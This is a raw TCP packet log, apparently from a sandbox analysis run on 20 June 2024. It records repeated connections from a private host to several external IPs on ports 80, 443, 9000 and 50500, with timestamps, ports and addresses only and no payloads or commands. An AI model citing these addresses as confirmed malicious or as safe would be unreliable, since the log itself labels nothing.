Jun 20, 2024 06:49:14.521012068 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.521025896 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.521049023 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.521049023 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.521070957 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.521081924 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.521115065 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.521147966 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.521178961 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.521210909 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.521243095 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.521250010 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.521250010 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.521270990 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.521276951 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.521291018 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.521311998 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.521346092 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.521351099 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.521410942 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.521435976 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.521469116 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.521500111 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.521528006 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.521528006 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.521533012 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.521547079 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.521567106 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.521600008 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.521629095 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.521629095 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.521631002 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.521641970 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.521663904 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.521697998 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.521702051 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.521702051 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.521728992 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.521758080 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.521763086 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.521775007 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.521795988 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.521830082 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.521837950 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.521837950 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.521862030 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.521903038 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.521903038 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.610057116 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.610100031 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.610152960 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.610186100 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.610202074 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.610202074 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.610202074 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.610220909 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.610253096 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.610306978 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.610341072 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.610373974 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.610405922 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.610410929 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.610410929 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.610410929 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.610410929 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.610439062 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.610472918 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.610474110 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.610515118 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.610743999 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:15.177422047 CEST	443	49747	149.154.167.99	192.168.2.4
Jun 20, 2024 06:49:15.177530050 CEST	49747	443	192.168.2.4	149.154.167.99
Jun 20, 2024 06:49:15.274779081 CEST	49747	443	192.168.2.4	149.154.167.99
Jun 20, 2024 06:49:15.274796963 CEST	443	49747	149.154.167.99	192.168.2.4
Jun 20, 2024 06:49:15.275199890 CEST	443	49747	149.154.167.99	192.168.2.4
Jun 20, 2024 06:49:15.275285959 CEST	49747	443	192.168.2.4	149.154.167.99
Jun 20, 2024 06:49:15.278450966 CEST	49747	443	192.168.2.4	149.154.167.99
Jun 20, 2024 06:49:15.324523926 CEST	443	49747	149.154.167.99	192.168.2.4
Jun 20, 2024 06:49:15.435061932 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:15.439929008 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:15.468522072 CEST	443	49747	149.154.167.99	192.168.2.4
Jun 20, 2024 06:49:15.468553066 CEST	443	49747	149.154.167.99	192.168.2.4
Jun 20, 2024 06:49:15.468595028 CEST	443	49747	149.154.167.99	192.168.2.4
Jun 20, 2024 06:49:15.468624115 CEST	443	49747	149.154.167.99	192.168.2.4
Jun 20, 2024 06:49:15.468660116 CEST	49747	443	192.168.2.4	149.154.167.99
Jun 20, 2024 06:49:15.468660116 CEST	49747	443	192.168.2.4	149.154.167.99
Jun 20, 2024 06:49:15.468660116 CEST	49747	443	192.168.2.4	149.154.167.99
Jun 20, 2024 06:49:15.468678951 CEST	49747	443	192.168.2.4	149.154.167.99
Jun 20, 2024 06:49:15.470936060 CEST	49747	443	192.168.2.4	149.154.167.99
Jun 20, 2024 06:49:15.470949888 CEST	443	49747	149.154.167.99	192.168.2.4
Jun 20, 2024 06:49:15.474663019 CEST	49750	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:15.479530096 CEST	9000	49750	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:15.479631901 CEST	49750	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:15.479963064 CEST	49750	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:15.484968901 CEST	9000	49750	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:16.073020935 CEST	49751	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:16.078131914 CEST	50500	49751	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:16.087471008 CEST	49751	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:16.091326952 CEST	49751	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:16.096199036 CEST	50500	49751	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:16.183690071 CEST	9000	49750	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:16.183743000 CEST	9000	49750	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:16.183824062 CEST	49750	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:16.286256075 CEST	49750	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:16.291116953 CEST	9000	49750	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:16.487993002 CEST	9000	49750	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:16.491354942 CEST	49750	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:16.539432049 CEST	49750	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:16.544301033 CEST	9000	49750	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:16.671807051 CEST	50500	49751	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:16.716183901 CEST	49751	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:16.809551954 CEST	50500	49751	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:16.810074091 CEST	49751	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:16.814970016 CEST	50500	49751	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:16.907880068 CEST	50500	49751	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:16.994254112 CEST	9000	49750	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:16.994359970 CEST	49750	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:17.002266884 CEST	49752	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:17.007240057 CEST	9000	49752	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:17.007345915 CEST	49752	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:17.009988070 CEST	49752	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:17.014825106 CEST	9000	49752	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:17.069740057 CEST	49751	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:17.120656013 CEST	49755	443	192.168.2.4	34.117.186.192
Jun 20, 2024 06:49:17.120748043 CEST	443	49755	34.117.186.192	192.168.2.4
Jun 20, 2024 06:49:17.120850086 CEST	49755	443	192.168.2.4	34.117.186.192
Jun 20, 2024 06:49:17.123682022 CEST	49755	443	192.168.2.4	34.117.186.192
Jun 20, 2024 06:49:17.123720884 CEST	443	49755	34.117.186.192	192.168.2.4
Jun 20, 2024 06:49:17.661223888 CEST	443	49755	34.117.186.192	192.168.2.4
Jun 20, 2024 06:49:17.661391020 CEST	49755	443	192.168.2.4	34.117.186.192
Jun 20, 2024 06:49:17.664581060 CEST	49755	443	192.168.2.4	34.117.186.192
Jun 20, 2024 06:49:17.664617062 CEST	443	49755	34.117.186.192	192.168.2.4
Jun 20, 2024 06:49:17.664959908 CEST	443	49755	34.117.186.192	192.168.2.4
Jun 20, 2024 06:49:17.670059919 CEST	9000	49752	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:17.671377897 CEST	49752	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:17.671638012 CEST	49752	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:17.673528910 CEST	49752	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:17.676546097 CEST	9000	49752	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:17.678514004 CEST	9000	49752	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:17.755212069 CEST	49755	443	192.168.2.4	34.117.186.192
Jun 20, 2024 06:49:17.776470900 CEST	49755	443	192.168.2.4	34.117.186.192
Jun 20, 2024 06:49:17.820545912 CEST	443	49755	34.117.186.192	192.168.2.4
Jun 20, 2024 06:49:17.913517952 CEST	443	49755	34.117.186.192	192.168.2.4
Jun 20, 2024 06:49:17.913821936 CEST	443	49755	34.117.186.192	192.168.2.4
Jun 20, 2024 06:49:17.913892984 CEST	49755	443	192.168.2.4	34.117.186.192
Jun 20, 2024 06:49:17.914026022 CEST	49755	443	192.168.2.4	34.117.186.192
Jun 20, 2024 06:49:17.914071083 CEST	443	49755	34.117.186.192	192.168.2.4
Jun 20, 2024 06:49:17.919451952 CEST	49757	443	192.168.2.4	104.26.4.15
Jun 20, 2024 06:49:17.919477940 CEST	443	49757	104.26.4.15	192.168.2.4
Jun 20, 2024 06:49:17.919771910 CEST	49757	443	192.168.2.4	104.26.4.15
Jun 20, 2024 06:49:17.920376062 CEST	49757	443	192.168.2.4	104.26.4.15
Jun 20, 2024 06:49:17.920389891 CEST	443	49757	104.26.4.15	192.168.2.4
Jun 20, 2024 06:49:18.293148041 CEST	9000	49752	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:18.293221951 CEST	49752	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:18.316591978 CEST	49750	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:18.316927910 CEST	49758	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:18.321643114 CEST	9000	49750	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:18.321707010 CEST	49750	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:18.321827888 CEST	9000	49758	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:18.321907997 CEST	49758	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:18.322201967 CEST	49758	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:18.326957941 CEST	9000	49758	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:18.412533045 CEST	443	49757	104.26.4.15	192.168.2.4
Jun 20, 2024 06:49:18.412620068 CEST	49757	443	192.168.2.4	104.26.4.15
Jun 20, 2024 06:49:18.415186882 CEST	49757	443	192.168.2.4	104.26.4.15
Jun 20, 2024 06:49:18.415195942 CEST	443	49757	104.26.4.15	192.168.2.4
Jun 20, 2024 06:49:18.415684938 CEST	443	49757	104.26.4.15	192.168.2.4
Jun 20, 2024 06:49:18.416850090 CEST	49757	443	192.168.2.4	104.26.4.15
Jun 20, 2024 06:49:18.443172932 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:18.448282003 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:18.448352098 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:18.464498997 CEST	443	49757	104.26.4.15	192.168.2.4
Jun 20, 2024 06:49:18.620593071 CEST	443	49757	104.26.4.15	192.168.2.4
Jun 20, 2024 06:49:18.620820999 CEST	443	49757	104.26.4.15	192.168.2.4
Jun 20, 2024 06:49:18.620959044 CEST	49757	443	192.168.2.4	104.26.4.15
Jun 20, 2024 06:49:18.621179104 CEST	49757	443	192.168.2.4	104.26.4.15
Jun 20, 2024 06:49:18.621189117 CEST	443	49757	104.26.4.15	192.168.2.4
Jun 20, 2024 06:49:18.621212959 CEST	49757	443	192.168.2.4	104.26.4.15
Jun 20, 2024 06:49:18.621217966 CEST	443	49757	104.26.4.15	192.168.2.4
Jun 20, 2024 06:49:18.621704102 CEST	49751	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:18.626532078 CEST	50500	49751	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:18.841799021 CEST	50500	49751	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:18.903170109 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:18.942641973 CEST	49751	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:18.943016052 CEST	49751	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:18.947858095 CEST	50500	49751	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:18.996563911 CEST	9000	49758	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:18.996624947 CEST	49758	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:18.996934891 CEST	49758	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:18.998476982 CEST	49758	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:19.001779079 CEST	9000	49758	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:19.003323078 CEST	9000	49758	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:19.149092913 CEST	50500	49751	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:19.316711903 CEST	49751	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:19.637377977 CEST	9000	49758	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:19.637408018 CEST	9000	49758	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:19.637471914 CEST	49758	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:19.638973951 CEST	49752	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:19.639420986 CEST	49759	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:19.644433022 CEST	9000	49752	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:19.644448996 CEST	9000	49759	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:19.644505978 CEST	49752	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:19.644555092 CEST	49759	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:19.644784927 CEST	49759	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:19.649525881 CEST	9000	49759	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:19.679388046 CEST	49760	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:19.684700966 CEST	50500	49760	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:19.684781075 CEST	49760	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:19.695456028 CEST	49760	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:19.700273037 CEST	50500	49760	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:20.253266096 CEST	50500	49760	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:20.310827017 CEST	9000	49759	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:20.310925007 CEST	49759	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:20.323033094 CEST	49759	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:20.324615002 CEST	49759	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:20.327893972 CEST	9000	49759	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:20.329516888 CEST	9000	49759	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:20.348839998 CEST	49760	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:20.385374069 CEST	50500	49760	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:20.385520935 CEST	49760	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:20.390336037 CEST	50500	49760	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:20.477232933 CEST	50500	49760	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:20.536358118 CEST	49760	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:20.699439049 CEST	49765	443	192.168.2.4	34.117.186.192
Jun 20, 2024 06:49:20.699556112 CEST	443	49765	34.117.186.192	192.168.2.4
Jun 20, 2024 06:49:20.699652910 CEST	49765	443	192.168.2.4	34.117.186.192
Jun 20, 2024 06:49:20.701257944 CEST	49765	443	192.168.2.4	34.117.186.192
Jun 20, 2024 06:49:20.701297998 CEST	443	49765	34.117.186.192	192.168.2.4
Jun 20, 2024 06:49:20.970537901 CEST	9000	49759	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:20.970607042 CEST	9000	49759	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:20.970642090 CEST	9000	49759	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:20.970650911 CEST	49759	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:20.970675945 CEST	9000	49759	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:20.970710039 CEST	9000	49759	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:20.970735073 CEST	49759	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:20.970735073 CEST	49759	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:20.970786095 CEST	49759	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:20.973836899 CEST	49758	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:20.974788904 CEST	49766	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:20.979013920 CEST	9000	49758	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:20.979079962 CEST	49758	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:20.979756117 CEST	9000	49766	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:20.979917049 CEST	49766	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:20.980545998 CEST	49766	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:20.985327959 CEST	9000	49766	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:21.198230982 CEST	443	49765	34.117.186.192	192.168.2.4
Jun 20, 2024 06:49:21.198450089 CEST	49765	443	192.168.2.4	34.117.186.192
Jun 20, 2024 06:49:21.199564934 CEST	49765	443	192.168.2.4	34.117.186.192
Jun 20, 2024 06:49:21.199598074 CEST	443	49765	34.117.186.192	192.168.2.4
Jun 20, 2024 06:49:21.200318098 CEST	443	49765	34.117.186.192	192.168.2.4
Jun 20, 2024 06:49:21.246519089 CEST	49765	443	192.168.2.4	34.117.186.192
Jun 20, 2024 06:49:21.288538933 CEST	443	49765	34.117.186.192	192.168.2.4
Jun 20, 2024 06:49:21.378211021 CEST	443	49765	34.117.186.192	192.168.2.4
Jun 20, 2024 06:49:21.378334999 CEST	443	49765	34.117.186.192	192.168.2.4
Jun 20, 2024 06:49:21.378413916 CEST	49765	443	192.168.2.4	34.117.186.192
Jun 20, 2024 06:49:21.379076004 CEST	49765	443	192.168.2.4	34.117.186.192
Jun 20, 2024 06:49:21.379122019 CEST	443	49765	34.117.186.192	192.168.2.4
Jun 20, 2024 06:49:21.379148960 CEST	49765	443	192.168.2.4	34.117.186.192
Jun 20, 2024 06:49:21.379164934 CEST	443	49765	34.117.186.192	192.168.2.4
Jun 20, 2024 06:49:21.382078886 CEST	49767	443	192.168.2.4	104.26.4.15
Jun 20, 2024 06:49:21.382170916 CEST	443	49767	104.26.4.15	192.168.2.4
Jun 20, 2024 06:49:21.382361889 CEST	49767	443	192.168.2.4	104.26.4.15
Jun 20, 2024 06:49:21.382755041 CEST	49767	443	192.168.2.4	104.26.4.15
Jun 20, 2024 06:49:21.382795095 CEST	443	49767	104.26.4.15	192.168.2.4
Jun 20, 2024 06:49:21.654489994 CEST	9000	49766	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:21.655519009 CEST	49766	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:21.704437971 CEST	49766	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:21.709515095 CEST	9000	49766	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:21.712306976 CEST	49766	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:21.717212915 CEST	9000	49766	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:21.893009901 CEST	443	49767	104.26.4.15	192.168.2.4
Jun 20, 2024 06:49:21.893100023 CEST	49767	443	192.168.2.4	104.26.4.15
Jun 20, 2024 06:49:21.894098997 CEST	49767	443	192.168.2.4	104.26.4.15
Jun 20, 2024 06:49:21.894124985 CEST	443	49767	104.26.4.15	192.168.2.4
Jun 20, 2024 06:49:21.894507885 CEST	443	49767	104.26.4.15	192.168.2.4
Jun 20, 2024 06:49:21.896296978 CEST	49767	443	192.168.2.4	104.26.4.15
Jun 20, 2024 06:49:21.936512947 CEST	443	49767	104.26.4.15	192.168.2.4
Jun 20, 2024 06:49:22.107389927 CEST	443	49767	104.26.4.15	192.168.2.4
Jun 20, 2024 06:49:22.107650995 CEST	443	49767	104.26.4.15	192.168.2.4
Jun 20, 2024 06:49:22.107774019 CEST	49767	443	192.168.2.4	104.26.4.15
Jun 20, 2024 06:49:22.107857943 CEST	49767	443	192.168.2.4	104.26.4.15
Jun 20, 2024 06:49:22.107857943 CEST	49767	443	192.168.2.4	104.26.4.15
Jun 20, 2024 06:49:22.107923031 CEST	443	49767	104.26.4.15	192.168.2.4
Jun 20, 2024 06:49:22.107953072 CEST	443	49767	104.26.4.15	192.168.2.4
Jun 20, 2024 06:49:22.108393908 CEST	49760	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:22.113351107 CEST	50500	49760	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:22.177028894 CEST	49751	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:22.182260990 CEST	50500	49751	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:22.182322979 CEST	49751	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:22.324004889 CEST	50500	49760	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:22.333403111 CEST	49760	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:22.338371992 CEST	50500	49760	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:22.352593899 CEST	9000	49766	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:22.352677107 CEST	49766	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:22.429013014 CEST	49759	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:22.429622889 CEST	49771	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:22.434545994 CEST	9000	49771	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:22.434648991 CEST	49771	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:22.434659958 CEST	9000	49759	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:22.434964895 CEST	49759	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:22.435045004 CEST	49771	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:22.439887047 CEST	9000	49771	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:22.537862062 CEST	50500	49760	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:22.549101114 CEST	49772	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:22.554043055 CEST	50500	49772	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:22.554342985 CEST	49772	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:22.570847988 CEST	49772	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:22.575736046 CEST	50500	49772	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:22.628958941 CEST	49760	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:23.098820925 CEST	9000	49771	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:23.098954916 CEST	49771	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:23.104887962 CEST	49771	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:23.107728958 CEST	49771	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:23.107857943 CEST	49771	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:23.109694004 CEST	9000	49771	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:23.112848997 CEST	9000	49771	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:23.112878084 CEST	9000	49771	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:23.112977982 CEST	9000	49771	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:23.113040924 CEST	9000	49771	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:23.113068104 CEST	9000	49771	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:23.113116026 CEST	9000	49771	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:23.113142014 CEST	9000	49771	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:23.122745037 CEST	50500	49772	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:23.255675077 CEST	49772	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:23.257675886 CEST	50500	49772	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:23.257870913 CEST	49772	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:23.262737989 CEST	50500	49772	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:23.349395990 CEST	50500	49772	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:23.444709063 CEST	49766	9000	192.168.2.4	162.55.53.18
